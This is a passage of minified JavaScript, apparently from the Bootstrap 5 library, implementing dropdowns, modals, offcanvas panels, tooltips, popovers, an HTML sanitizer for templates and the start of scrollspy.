n}`,zn=".dropdown-menu",Nn=f()?"top-end":"top-start",Rn=f()?"top-start":"top-end",$n=f()?"bottom-end":"bottom-start",Fn=f()?"bottom-start":"bottom-end",jn=f()?"left-start":"right-start",Hn=f()?"right-start":"left-start",qn={autoClose:!0,boundary:"clippingParents",display:"dynamic",offset:[0,2],popperConfig:null,reference:"toggle"},Bn={autoClose:"(boolean|string)",boundary:"(string|element)",display:"string",offset:"(array|string|function)",popperConfig:"(null|object|function)",reference:"(string|element|object)"};class Wn extends j{constructor(e,t){super(e,t),this._popper=null,this._parent=this._element.parentNode,this._menu=q.next(this._element,zn)[0]||q.prev(this._element,zn)[0]||q.findOne(zn,this._parent),this._inNavbar=this._detectNavbar()}static get Default(){return qn}static get DefaultType(){return Bn}static get NAME(){return wn}toggle(){return this._isShown()?this.hide():this.show()}show(){if(l(this._element)||this._isShown())return;const e={relatedTarget:this._element};if(!I.trigger(this._element,Mn,e).defaultPrevented){if(this._createPopper(),"ontouchstart"in document.documentElement&&!this._parent.closest(".navbar-nav"))for(const e of[].concat(...document.body.children))I.on(e,"mouseover",u);this._element.focus(),this._element.setAttribute("aria-expanded",!0),this._menu.classList.add(Ln),this._element.classList.add(Ln),I.trigger(this._element,kn,e)}}hide(){if(l(this._element)||!this._isShown())return;const e={relatedTarget:this._element};this._completeHide(e)}dispose(){this._popper&&this._popper.destroy(),super.dispose()}update(){this._inNavbar=this._detectNavbar(),this._popper&&this._popper.update()}_completeHide(e){if(!I.trigger(this._element,Sn,e).defaultPrevented){if("ontouchstart"in document.documentElement)for(const e of[].concat(...document.body.children))I.off(e,"mouseover",u);this._popper&&this._popper.destroy(),this._menu.classList.remove(Ln),this._element.classList.remove(Ln),this._element.setAttribute("aria-expanded","false"),$.removeDataAttribute(this._menu,"popper"),I.trigger(this._element,Cn,e)}}_getConfig(e){if("object"==typeof(e=super._getConfig(e)).reference&&!s(e.reference)&&"function"!=typeof e.reference.getBoundingClientRect)throw new TypeError(`${wn.toUpperCase()}: Option "reference" provided type "object" without a required "getBoundingClientRect" method.`);return e}_createPopper(){if(void 0===bn)throw new TypeError("Bootstrap's dropdowns require Popper (https://popper.js.org)");let e=this._element;"parent"===this._config.reference?e=this._parent:s(this._config.reference)?e=o(this._config.reference):"object"==typeof this._config.reference&&(e=this._config.reference);const t=this._getPopperConfig();this._popper=yn(e,this._menu,t)}_isShown(){return this._menu.classList.contains(Ln)}_getPlacement(){const e=this._parent;if(e.classList.contains("dropend"))return jn;if(e.classList.contains("dropstart"))return Hn;if(e.classList.contains("dropup-center"))return"top";if(e.classList.contains("dropdown-center"))return"bottom";const t="end"===getComputedStyle(this._menu).getPropertyValue("--bs-position").trim();return e.classList.contains("dropup")?t?Rn:Nn:t?Fn:$n}_detectNavbar(){return null!==this._element.closest(".navbar")}_getOffset(){const{offset:e}=this._config;return"string"==typeof e?e.split(",").map((e=>Number.parseInt(e,10))):"function"==typeof e?t=>e(t,this._element):e}_getPopperConfig(){const e={placement:this._getPlacement(),modifiers:[{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"offset",options:{offset:this._getOffset()}}]};return(this._inNavbar||"static"===this._config.display)&&($.setDataAttribute(this._menu,"popper","static"),e.modifiers=[{name:"applyStyles",enabled:!1}]),{...e,...g(this._config.popperConfig,[e])}}_selectMenuItem({key:e,target:t}){const n=q.find(".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)",this._menu).filter((e=>a(e)));n.length&&y(n,t,e===En,!n.includes(t)).focus()}static jQueryInterface(e){return this.each((function(){const t=Wn.getOrCreateInstance(this,e);if("string"==typeof e){if(void 0===t[e])throw new TypeError(`No method named "${e}"`);t[e]()}}))}static clearMenus(e){if(2===e.button||"keyup"===e.type&&"Tab"!==e.key)return;const t=q.find(In);for(const n of t){const t=Wn.getInstance(n);if(!t||!1===t._config.autoClose)continue;const i=e.composedPath(),r=i.includes(t._menu);if(i.includes(t._element)||"inside"===t._config.autoClose&&!r||"outside"===t._config.autoClose&&r)continue;if(t._menu.contains(e.target)&&("keyup"===e.type&&"Tab"===e.key||/input|select|option|textarea|form/i.test(e.target.tagName)))continue;const s={relatedTarget:t._element};"click"===e.type&&(s.clickEvent=e),t._completeHide(s)}}static dataApiKeydownHandler(e){const t=/input|textarea/i.test(e.target.tagName),n="Escape"===e.key,i=[Tn,En].includes(e.key);if(!i&&!n)return;if(t&&!n)return;e.preventDefault();const r=this.matches(Dn)?this:q.prev(this,Dn)[0]||q.next(this,Dn)[0]||q.findOne(Dn,e.delegateTarget.parentNode),s=Wn.getOrCreateInstance(r);if(i)return e.stopPropagation(),s.show(),void s._selectMenuItem(e);s._isShown()&&(e.stopPropagation(),s.hide(),r.focus())}}I.on(document,On,Dn,Wn.dataApiKeydownHandler),I.on(document,On,zn,Wn.dataApiKeydownHandler),I.on(document,An,Wn.clearMenus),I.on(document,Pn,Wn.clearMenus),I.on(document,An,Dn,(function(e){e.preventDefault(),Wn.getOrCreateInstance(this).toggle()})),m(Wn);const Xn="backdrop",Gn=`mousedown.bs.${Xn}`,Vn={className:"modal-backdrop",clickCallback:null,isAnimated:!1,isVisible:!0,rootElement:"body"},Un={className:"string",clickCallback:"(function|null)",isAnimated:"boolean",isVisible:"boolean",rootElement:"(element|string)"};class Zn extends F{constructor(e){super(),this._config=this._getConfig(e),this._isAppended=!1,this._element=null}static get Default(){return Vn}static get DefaultType(){return Un}static get NAME(){return Xn}show(e){if(!this._config.isVisible)return void g(e);this._append();const t=this._getElement();this._config.isAnimated&&d(t),t.classList.add("show"),this._emulateAnimation((()=>{g(e)}))}hide(e){this._config.isVisible?(this._getElement().classList.remove("show"),this._emulateAnimation((()=>{this.dispose(),g(e)}))):g(e)}dispose(){this._isAppended&&(I.off(this._element,Gn),this._element.remove(),this._isAppended=!1)}_getElement(){if(!this._element){const e=document.createElement("div");e.className=this._config.className,this._config.isAnimated&&e.classList.add("fade"),this._element=e}return this._element}_configAfterMerge(e){return e.rootElement=o(e.rootElement),e}_append(){if(this._isAppended)return;const e=this._getElement();this._config.rootElement.append(e),I.on(e,Gn,(()=>{g(this._config.clickCallback)})),this._isAppended=!0}_emulateAnimation(e){v(e,this._getElement(),this._config.isAnimated)}}const Kn=".bs.focustrap",Qn=`focusin${Kn}`,Jn=`keydown.tab${Kn}`,ei="backward",ti={autofocus:!0,trapElement:null},ni={autofocus:"boolean",trapElement:"element"};class ii extends F{constructor(e){super(),this._config=this._getConfig(e),this._isActive=!1,this._lastTabNavDirection=null}static get Default(){return ti}static get DefaultType(){return ni}static get NAME(){return"focustrap"}activate(){this._isActive||(this._config.autofocus&&this._config.trapElement.focus(),I.off(document,Kn),I.on(document,Qn,(e=>this._handleFocusin(e))),I.on(document,Jn,(e=>this._handleKeydown(e))),this._isActive=!0)}deactivate(){this._isActive&&(this._isActive=!1,I.off(document,Kn))}_handleFocusin(e){const{trapElement:t}=this._config;if(e.target===document||e.target===t||t.contains(e.target))return;const n=q.focusableChildren(t);0===n.length?t.focus():this._lastTabNavDirection===ei?n[n.length-1].focus():n[0].focus()}_handleKeydown(e){"Tab"===e.key&&(this._lastTabNavDirection=e.shiftKey?ei:"forward")}}const ri=".fixed-top, .fixed-bottom, .is-fixed, .sticky-top",si=".sticky-top",oi="padding-right",ai="margin-right";class li{constructor(){this._element=document.body}getWidth(){const e=document.documentElement.clientWidth;return Math.abs(window.innerWidth-e)}hide(){const e=this.getWidth();this._disableOverFlow(),this._setElementAttributes(this._element,oi,(t=>t+e)),this._setElementAttributes(ri,oi,(t=>t+e)),this._setElementAttributes(si,ai,(t=>t-e))}reset(){this._resetElementAttributes(this._element,"overflow"),this._resetElementAttributes(this._element,oi),this._resetElementAttributes(ri,oi),this._resetElementAttributes(si,ai)}isOverflowing(){return this.getWidth()>0}_disableOverFlow(){this._saveInitialAttribute(this._element,"overflow"),this._element.style.overflow="hidden"}_setElementAttributes(e,t,n){const i=this.getWidth();this._applyManipulationCallback(e,(e=>{if(e!==this._element&&window.innerWidth>e.clientWidth+i)return;this._saveInitialAttribute(e,t);const r=window.getComputedStyle(e).getPropertyValue(t);e.style.setProperty(t,`${n(Number.parseFloat(r))}px`)}))}_saveInitialAttribute(e,t){const n=e.style.getPropertyValue(t);n&&$.setDataAttribute(e,t,n)}_resetElementAttributes(e,t){this._applyManipulationCallback(e,(e=>{const n=$.getDataAttribute(e,t);null!==n?($.removeDataAttribute(e,t),e.style.setProperty(t,n)):e.style.removeProperty(t)}))}_applyManipulationCallback(e,t){if(s(e))t(e);else for(const n of q.find(e,this._element))t(n)}}const ci=".bs.modal",ui=`hide${ci}`,di=`hidePrevented${ci}`,pi=`hidden${ci}`,hi=`show${ci}`,fi=`shown${ci}`,mi=`resize${ci}`,gi=`click.dismiss${ci}`,vi=`mousedown.dismiss${ci}`,yi=`keydown.dismiss${ci}`,bi=`click${ci}.data-api`,wi="modal-open",xi="modal-static",Ti={backdrop:!0,focus:!0,keyboard:!0},Ei={backdrop:"(boolean|string)",focus:"boolean",keyboard:"boolean"};class Si extends j{constructor(e,t){super(e,t),this._dialog=q.findOne(".modal-dialog",this._element),this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._isShown=!1,this._isTransitioning=!1,this._scrollBar=new li,this._addEventListeners()}static get Default(){return Ti}static get DefaultType(){return Ei}static get NAME(){return"modal"}toggle(e){return this._isShown?this.hide():this.show(e)}show(e){this._isShown||this._isTransitioning||I.trigger(this._element,hi,{relatedTarget:e}).defaultPrevented||(this._isShown=!0,this._isTransitioning=!0,this._scrollBar.hide(),document.body.classList.add(wi),this._adjustDialog(),this._backdrop.show((()=>this._showElement(e))))}hide(){this._isShown&&!this._isTransitioning&&(I.trigger(this._element,ui).defaultPrevented||(this._isShown=!1,this._isTransitioning=!0,this._focustrap.deactivate(),this._element.classList.remove("show"),this._queueCallback((()=>this._hideModal()),this._element,this._isAnimated())))}dispose(){I.off(window,ci),I.off(this._dialog,ci),this._backdrop.dispose(),this._focustrap.deactivate(),super.dispose()}handleUpdate(){this._adjustDialog()}_initializeBackDrop(){return new Zn({isVisible:Boolean(this._config.backdrop),isAnimated:this._isAnimated()})}_initializeFocusTrap(){return new ii({trapElement:this._element})}_showElement(e){document.body.contains(this._element)||document.body.append(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),this._element.scrollTop=0;const t=q.findOne(".modal-body",this._dialog);t&&(t.scrollTop=0),d(this._element),this._element.classList.add("show"),this._queueCallback((()=>{this._config.focus&&this._focustrap.activate(),this._isTransitioning=!1,I.trigger(this._element,fi,{relatedTarget:e})}),this._dialog,this._isAnimated())}_addEventListeners(){I.on(this._element,yi,(e=>{"Escape"===e.key&&(this._config.keyboard?this.hide():this._triggerBackdropTransition())})),I.on(window,mi,(()=>{this._isShown&&!this._isTransitioning&&this._adjustDialog()})),I.on(this._element,vi,(e=>{I.one(this._element,gi,(t=>{this._element===e.target&&this._element===t.target&&("static"!==this._config.backdrop?this._config.backdrop&&this.hide():this._triggerBackdropTransition())}))}))}_hideModal(){this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._isTransitioning=!1,this._backdrop.hide((()=>{document.body.classList.remove(wi),this._resetAdjustments(),this._scrollBar.reset(),I.trigger(this._element,pi)}))}_isAnimated(){return this._element.classList.contains("fade")}_triggerBackdropTransition(){if(I.trigger(this._element,di).defaultPrevented)return;const e=this._element.scrollHeight>document.documentElement.clientHeight,t=this._element.style.overflowY;"hidden"===t||this._element.classList.contains(xi)||(e||(this._element.style.overflowY="hidden"),this._element.classList.add(xi),this._queueCallback((()=>{this._element.classList.remove(xi),this._queueCallback((()=>{this._element.style.overflowY=t}),this._dialog)}),this._dialog),this._element.focus())}_adjustDialog(){const e=this._element.scrollHeight>document.documentElement.clientHeight,t=this._scrollBar.getWidth(),n=t>0;if(n&&!e){const e=f()?"paddingLeft":"paddingRight";this._element.style[e]=`${t}px`}if(!n&&e){const e=f()?"paddingRight":"paddingLeft";this._element.style[e]=`${t}px`}}_resetAdjustments(){this._element.style.paddingLeft="",this._element.style.paddingRight=""}static jQueryInterface(e,t){return this.each((function(){const n=Si.getOrCreateInstance(this,e);if("string"==typeof e){if(void 0===n[e])throw new TypeError(`No method named "${e}"`);n[e](t)}}))}}I.on(document,bi,'[data-bs-toggle="modal"]',(function(e){const t=q.getElementFromSelector(this);["A","AREA"].includes(this.tagName)&&e.preventDefault(),I.one(t,hi,(e=>{e.defaultPrevented||I.one(t,pi,(()=>{a(this)&&this.focus()}))}));const n=q.findOne(".modal.show");n&&Si.getInstance(n).hide(),Si.getOrCreateInstance(t).toggle(this)})),B(Si),m(Si);const Ci=".bs.offcanvas",Mi=".data-api",ki=`load${Ci}${Mi}`,Oi="showing",Li=".offcanvas.show",Di=`show${Ci}`,Ii=`shown${Ci}`,zi=`hide${Ci}`,Ni=`hidePrevented${Ci}`,Ri=`hidden${Ci}`,$i=`resize${Ci}`,Fi=`click${Ci}${Mi}`,ji=`keydown.dismiss${Ci}`,Hi={backdrop:!0,keyboard:!0,scroll:!1},qi={backdrop:"(boolean|string)",keyboard:"boolean",scroll:"boolean"};class Bi extends j{constructor(e,t){super(e,t),this._isShown=!1,this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._addEventListeners()}static get Default(){return Hi}static get DefaultType(){return qi}static get NAME(){return"offcanvas"}toggle(e){return this._isShown?this.hide():this.show(e)}show(e){this._isShown||I.trigger(this._element,Di,{relatedTarget:e}).defaultPrevented||(this._isShown=!0,this._backdrop.show(),this._config.scroll||(new li).hide(),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),this._element.classList.add(Oi),this._queueCallback((()=>{this._config.scroll&&!this._config.backdrop||this._focustrap.activate(),this._element.classList.add("show"),this._element.classList.remove(Oi),I.trigger(this._element,Ii,{relatedTarget:e})}),this._element,!0))}hide(){this._isShown&&(I.trigger(this._element,zi).defaultPrevented||(this._focustrap.deactivate(),this._element.blur(),this._isShown=!1,this._element.classList.add("hiding"),this._backdrop.hide(),this._queueCallback((()=>{this._element.classList.remove("show","hiding"),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._config.scroll||(new li).reset(),I.trigger(this._element,Ri)}),this._element,!0)))}dispose(){this._backdrop.dispose(),this._focustrap.deactivate(),super.dispose()}_initializeBackDrop(){const e=Boolean(this._config.backdrop);return new Zn({className:"offcanvas-backdrop",isVisible:e,isAnimated:!0,rootElement:this._element.parentNode,clickCallback:e?()=>{"static"!==this._config.backdrop?this.hide():I.trigger(this._element,Ni)}:null})}_initializeFocusTrap(){return new ii({trapElement:this._element})}_addEventListeners(){I.on(this._element,ji,(e=>{"Escape"===e.key&&(this._config.keyboard?this.hide():I.trigger(this._element,Ni))}))}static jQueryInterface(e){return this.each((function(){const t=Bi.getOrCreateInstance(this,e);if("string"==typeof e){if(void 0===t[e]||e.startsWith("_")||"constructor"===e)throw new TypeError(`No method named "${e}"`);t[e](this)}}))}}I.on(document,Fi,'[data-bs-toggle="offcanvas"]',(function(e){const t=q.getElementFromSelector(this);if(["A","AREA"].includes(this.tagName)&&e.preventDefault(),l(this))return;I.one(t,Ri,(()=>{a(this)&&this.focus()}));const n=q.findOne(Li);n&&n!==t&&Bi.getInstance(n).hide(),Bi.getOrCreateInstance(t).toggle(this)})),I.on(window,ki,(()=>{for(const e of q.find(Li))Bi.getOrCreateInstance(e).show()})),I.on(window,$i,(()=>{for(const e of q.find("[aria-modal][class*=show][class*=offcanvas-]"))"fixed"!==getComputedStyle(e).position&&Bi.getOrCreateInstance(e).hide()})),B(Bi),m(Bi);const Wi={"*":["class","dir","id","lang","role",/^aria-[\w-]*$/i],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","srcset","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},Xi=new Set(["background","cite","href","itemtype","longdesc","poster","src","xlink:href"]),Yi=/^(?!javascript:)(?:[a-z0-9+.-]+:|[^&:/?#]*(?:[/?#]|$))/i,Gi=(e,t)=>{const n=e.nodeName.toLowerCase();return t.includes(n)?!Xi.has(n)||Boolean(Yi.test(e.nodeValue)):t.filter((e=>e instanceof RegExp)).some((e=>e.test(n)))},Vi={allowList:Wi,content:{},extraClass:"",html:!1,sanitize:!0,sanitizeFn:null,template:"<div></div>"},Ui={allowList:"object",content:"object",extraClass:"(string|function)",html:"boolean",sanitize:"boolean",sanitizeFn:"(null|function)",template:"string"},Zi={entry:"(string|element|function|null)",selector:"(string|element)"};class Ki extends F{constructor(e){super(),this._config=this._getConfig(e)}static get Default(){return Vi}static get DefaultType(){return Ui}static get NAME(){return"TemplateFactory"}getContent(){return Object.values(this._config.content).map((e=>this._resolvePossibleFunction(e))).filter(Boolean)}hasContent(){return this.getContent().length>0}changeContent(e){return this._checkContent(e),this._config.content={...this._config.content,...e},this}toHtml(){const e=document.createElement("div");e.innerHTML=this._maybeSanitize(this._config.template);for(const[t,n]of Object.entries(this._config.content))this._setContent(e,n,t);const t=e.children[0],n=this._resolvePossibleFunction(this._config.extraClass);return n&&t.classList.add(...n.split(" ")),t}_typeCheckConfig(e){super._typeCheckConfig(e),this._checkContent(e.content)}_checkContent(e){for(const[t,n]of Object.entries(e))super._typeCheckConfig({selector:t,entry:n},Zi)}_setContent(e,t,n){const i=q.findOne(n,e);i&&((t=this._resolvePossibleFunction(t))?s(t)?this._putElementInTemplate(o(t),i):this._config.html?i.innerHTML=this._maybeSanitize(t):i.textContent=t:i.remove())}_maybeSanitize(e){return this._config.sanitize?function(e,t,n){if(!e.length)return e;if(n&&"function"==typeof n)return n(e);const i=(new window.DOMParser).parseFromString(e,"text/html"),r=[].concat(...i.body.querySelectorAll("*"));for(const e of r){const n=e.nodeName.toLowerCase();if(!Object.keys(t).includes(n)){e.remove();continue}const i=[].concat(...e.attributes),r=[].concat(t["*"]||[],t[n]||[]);for(const t of i)Gi(t,r)||e.removeAttribute(t.nodeName)}return i.body.innerHTML}(e,this._config.allowList,this._config.sanitizeFn):e}_resolvePossibleFunction(e){return g(e,[this])}_putElementInTemplate(e,t){if(this._config.html)return t.innerHTML="",void t.append(e);t.textContent=e.textContent}}const Qi=new Set(["sanitize","allowList","sanitizeFn"]),Ji="fade",er="show",nr="hide.bs.modal",ir="hover",rr="focus",sr={AUTO:"auto",TOP:"top",RIGHT:f()?"left":"right",BOTTOM:"bottom",LEFT:f()?"right":"left"},or={allowList:Wi,animation:!0,boundary:"clippingParents",container:!1,customClass:"",delay:0,fallbackPlacements:["top","right","bottom","left"],html:!1,offset:[0,6],placement:"top",popperConfig:null,sanitize:!0,sanitizeFn:null,selector:!1,template:'<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',title:"",trigger:"hover focus"},ar={allowList:"object",animation:"boolean",boundary:"(string|element)",container:"(string|element|boolean)",customClass:"(string|function)",delay:"(number|object)",fallbackPlacements:"array",html:"boolean",offset:"(array|string|function)",placement:"(string|function)",popperConfig:"(null|object|function)",sanitize:"boolean",sanitizeFn:"(null|function)",selector:"(string|boolean)",template:"string",title:"(string|element|function)",trigger:"string"};class lr extends j{constructor(e,t){if(void 0===bn)throw new TypeError("Bootstrap's tooltips require Popper (https://popper.js.org)");super(e,t),this._isEnabled=!0,this._timeout=0,this._isHovered=null,this._activeTrigger={},this._popper=null,this._templateFactory=null,this._newContent=null,this.tip=null,this._setListeners(),this._config.selector||this._fixTitle()}static get Default(){return or}static get DefaultType(){return ar}static get NAME(){return"tooltip"}enable(){this._isEnabled=!0}disable(){this._isEnabled=!1}toggleEnabled(){this._isEnabled=!this._isEnabled}toggle(){this._isEnabled&&(this._activeTrigger.click=!this._activeTrigger.click,this._isShown()?this._leave():this._enter())}dispose(){clearTimeout(this._timeout),I.off(this._element.closest(".modal"),nr,this._hideModalHandler),this._element.getAttribute("data-bs-original-title")&&this._element.setAttribute("title",this._element.getAttribute("data-bs-original-title")),this._disposePopper(),super.dispose()}show(){if("none"===this._element.style.display)throw new Error("Please use show on visible elements");if(!this._isWithContent()||!this._isEnabled)return;const e=I.trigger(this._element,this.constructor.eventName("show")),t=(c(this._element)||this._element.ownerDocument.documentElement).contains(this._element);if(e.defaultPrevented||!t)return;this._disposePopper();const n=this._getTipElement();this._element.setAttribute("aria-describedby",n.getAttribute("id"));const{container:i}=this._config;if(this._element.ownerDocument.documentElement.contains(this.tip)||(i.append(n),I.trigger(this._element,this.constructor.eventName("inserted"))),this._popper=this._createPopper(n),n.classList.add(er),"ontouchstart"in document.documentElement)for(const e of[].concat(...document.body.children))I.on(e,"mouseover",u);this._queueCallback((()=>{I.trigger(this._element,this.constructor.eventName("shown")),!1===this._isHovered&&this._leave(),this._isHovered=!1}),this.tip,this._isAnimated())}hide(){if(this._isShown()&&!I.trigger(this._element,this.constructor.eventName("hide")).defaultPrevented){if(this._getTipElement().classList.remove(er),"ontouchstart"in document.documentElement)for(const e of[].concat(...document.body.children))I.off(e,"mouseover",u);this._activeTrigger.click=!1,this._activeTrigger[rr]=!1,this._activeTrigger[ir]=!1,this._isHovered=null,this._queueCallback((()=>{this._isWithActiveTrigger()||(this._isHovered||this._disposePopper(),this._element.removeAttribute("aria-describedby"),I.trigger(this._element,this.constructor.eventName("hidden")))}),this.tip,this._isAnimated())}}update(){this._popper&&this._popper.update()}_isWithContent(){return Boolean(this._getTitle())}_getTipElement(){return this.tip||(this.tip=this._createTipElement(this._newContent||this._getContentForTemplate())),this.tip}_createTipElement(e){const t=this._getTemplateFactory(e).toHtml();if(!t)return null;t.classList.remove(Ji,er),t.classList.add(`bs-${this.constructor.NAME}-auto`);const n=(e=>{do{e+=Math.floor(1e6*Math.random())}while(document.getElementById(e));return e})(this.constructor.NAME).toString();return t.setAttribute("id",n),this._isAnimated()&&t.classList.add(Ji),t}setContent(e){this._newContent=e,this._isShown()&&(this._disposePopper(),this.show())}_getTemplateFactory(e){return this._templateFactory?this._templateFactory.changeContent(e):this._templateFactory=new Ki({...this._config,content:e,extraClass:this._resolvePossibleFunction(this._config.customClass)}),this._templateFactory}_getContentForTemplate(){return{".tooltip-inner":this._getTitle()}}_getTitle(){return this._resolvePossibleFunction(this._config.title)||this._element.getAttribute("data-bs-original-title")}_initializeOnDelegatedTarget(e){return this.constructor.getOrCreateInstance(e.delegateTarget,this._getDelegateConfig())}_isAnimated(){return this._config.animation||this.tip&&this.tip.classList.contains(Ji)}_isShown(){return this.tip&&this.tip.classList.contains(er)}_createPopper(e){const t=g(this._config.placement,[this,e,this._element]),n=sr[t.toUpperCase()];return yn(this._element,e,this._getPopperConfig(n))}_getOffset(){const{offset:e}=this._config;return"string"==typeof e?e.split(",").map((e=>Number.parseInt(e,10))):"function"==typeof e?t=>e(t,this._element):e}_resolvePossibleFunction(e){return g(e,[this._element])}_getPopperConfig(e){const t={placement:e,modifiers:[{name:"flip",options:{fallbackPlacements:this._config.fallbackPlacements}},{name:"offset",options:{offset:this._getOffset()}},{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"arrow",options:{element:`.${this.constructor.NAME}-arrow`}},{name:"preSetPlacement",enabled:!0,phase:"beforeMain",fn:e=>{this._getTipElement().setAttribute("data-popper-placement",e.state.placement)}}]};return{...t,...g(this._config.popperConfig,[t])}}_setListeners(){const e=this._config.trigger.split(" ");for(const t of e)if("click"===t)I.on(this._element,this.constructor.eventName("click"),this._config.selector,(e=>{this._initializeOnDelegatedTarget(e).toggle()}));else if("manual"!==t){const e=t===ir?this.constructor.eventName("mouseenter"):this.constructor.eventName("focusin"),n=t===ir?this.constructor.eventName("mouseleave"):this.constructor.eventName("focusout");I.on(this._element,e,this._config.selector,(e=>{const t=this._initializeOnDelegatedTarget(e);t._activeTrigger["focusin"===e.type?rr:ir]=!0,t._enter()})),I.on(this._element,n,this._config.selector,(e=>{const t=this._initializeOnDelegatedTarget(e);t._activeTrigger["focusout"===e.type?rr:ir]=t._element.contains(e.relatedTarget),t._leave()}))}this._hideModalHandler=()=>{this._element&&this.hide()},I.on(this._element.closest(".modal"),nr,this._hideModalHandler)}_fixTitle(){const e=this._element.getAttribute("title");e&&(this._element.getAttribute("aria-label")||this._element.textContent.trim()||this._element.setAttribute("aria-label",e),this._element.setAttribute("data-bs-original-title",e),this._element.removeAttribute("title"))}_enter(){this._isShown()||this._isHovered?this._isHovered=!0:(this._isHovered=!0,this._setTimeout((()=>{this._isHovered&&this.show()}),this._config.delay.show))}_leave(){this._isWithActiveTrigger()||(this._isHovered=!1,this._setTimeout((()=>{this._isHovered||this.hide()}),this._config.delay.hide))}_setTimeout(e,t){clearTimeout(this._timeout),this._timeout=setTimeout(e,t)}_isWithActiveTrigger(){return Object.values(this._activeTrigger).includes(!0)}_getConfig(e){const t=$.getDataAttributes(this._element);for(const e of Object.keys(t))Qi.has(e)&&delete t[e];return e={...t,..."object"==typeof e&&e?e:{}},e=this._mergeConfigObj(e),e=this._configAfterMerge(e),this._typeCheckConfig(e),e}_configAfterMerge(e){return e.container=!1===e.container?document.body:o(e.container),"number"==typeof e.delay&&(e.delay={show:e.delay,hide:e.delay}),"number"==typeof e.title&&(e.title=e.title.toString()),"number"==typeof e.content&&(e.content=e.content.toString()),e}_getDelegateConfig(){const e={};for(const[t,n]of Object.entries(this._config))this.constructor.Default[t]!==n&&(e[t]=n);return e.selector=!1,e.trigger="manual",e}_disposePopper(){this._popper&&(this._popper.destroy(),this._popper=null),this.tip&&(this.tip.remove(),this.tip=null)}static jQueryInterface(e){return this.each((function(){const t=lr.getOrCreateInstance(this,e);if("string"==typeof e){if(void 0===t[e])throw new TypeError(`No method named "${e}"`);t[e]()}}))}}m(lr);const cr={...lr.Default,content:"",offset:[0,8],placement:"right",template:'<div class="popover" role="tooltip"><div class="popover-arrow"></div><h3 class="popover-header"></h3><div class="popover-body"></div></div>',trigger:"click"},ur={...lr.DefaultType,content:"(null|string|element|function)"};class dr extends lr{static get Default(){return cr}static get DefaultType(){return ur}static get NAME(){return"popover"}_isWithContent(){return this._getTitle()||this._getContent()}_getContentForTemplate(){return{".popover-header":this._getTitle(),".popover-body":this._getContent()}}_getContent(){return this._resolvePossibleFunction(this._config.content)}static jQueryInterface(e){return this.each((function(){const t=dr.getOrCreateInstance(this,e);if("string"==typeof e){if(void 0===t[e])throw new TypeError(`No method named "${e}"`);t[e]()}}))}}m(dr);const pr=".bs.scrollspy",hr=`activate${pr}`,fr=`click${pr}`,mr=`load${pr}.data-api`,gr="active",vr="[href]",yr=".nav-link",br=`${yr}, .nav-item > ${yr}, .list-group-item`,wr={offset:null,rootMargin:"0px 0px -25%",smoothScroll:!1,target:null,threshold:[.1,.5,1]},_r={offset:"(number|null)",rootMargin:"string",smoothScroll:"boolean",target:"element",threshold:"array"};class xr extends j{constructor(e,t){super(e,t),this._targetLinks=new Map,this._observableSections=new Map,this._rootElement="visible"===getComputedStyle(this._element).overflowY?null:this._element,this._activeTarget=null,this._observer=null,this._previousScrollData={visibleEntryTop:0,parentScrollTop:0},this.refresh()}static get Default(){return wr}static get DefaultType(){return _r}static get NAME(){return"scrollspy"}refresh(){this._initializeTargetsAndObservables(),this._maybeEnableSmoothScroll(),this._observer?this._observer.disconnect():this._observer=this._getNewObserver();for(const e of this._observableSections.values())this._observer.observe(e)}dispose(){this._observer.disconnect(),super.dispose()}_configAfterMerge(e){return e.target=o(e.target)||document.body,e.rootMargin=e.offset?`${e.offset}px 0px -30%`:e.rootMargin,"string"==typeof e.threshold&&(e.threshold=e.threshold.split(",").map((e=>Number.parseFloat(e)))),e}_maybeEnableSmoothScroll(){this._config.smoothScroll&&(I.off(this._config.target,fr),I.on(this._config.target,fr,vr,(e=>{const t=this._observableSections.get(e.target.hash);if(t){e.preventDefault();const n=this._rootElement||window,i=t.offsetTop-this._element.offsetTop;if(n.scrollTo)return void n.scrollTo({top:i,behavior:"smooth"});n.scrollTop=i}})))}_getNewObserver(){const e={root:this._rootElement,threshold:this._config.threshold,rootMargin:this._config.rootMargin};return new IntersectionObserver((e=>this._observerCallback(e)),e)}_observerCallback(e){const t=e=>this._targetLinks.get(`#${e.target.id}`),n=e=>{this._previousScrollData.visibleEntryTop=e.target.offsetTop,this._process(t(e))},i=(this._rootElement||document.documentElement).scrollTop,r=i>=this._previousScrollData.parentScrollTop;this._previousScrollData.parentScrollTop=i;for(const s of e){if(!s.isIntersecting){this._activeTarget=null,this._clearActiveClass(t(s));continue}const e=s.target.offsetTop>=this._previousScrollData.visibleEntryTop;if(r&&e){if(n(s),!i)return}else r||e||n(s)}}_initializeTargetsAndObservables(){this._targetLinks=new Map,this._observableSections=new Map;const e=q.find(vr,this._config.target);for(const t of e){if(!t.hash||l(t))continue;const e=q.findOne(decodeURI(t.hash),this._element);a(e)&&(this._targetLinks.set(decodeURI(t.hash),t),this._observableSections.set(t.hash,e))}}_process(e){this._activeTarget!==e&&(this._clearActiveClass(this._config.target),this._activeTarget=e,e.classList.add(gr),this._activateParents(e),I.trigger(this._element,hr,{relatedTarget:e}))}_activateParents(e){if(e.classList.contains("dropdown-item"))q.findOne(".dropdown-toggle",e.closest(".dropdown")).classList.add(gr);else for(const t of q.parents(e,".nav, .list-group"))for(const e of q.prev(t,br))e.classList.add(gr)}_clearActiveClass(e){e.classList.remove(gr);const t=q.find(`${vr}.${gr}`,e);for(const e of t)e.classList.remove(gr)}static jQueryInterface(e){return this.each((function(){const t=xr.getOrCreateInstance(this,e);if("string"==typeof 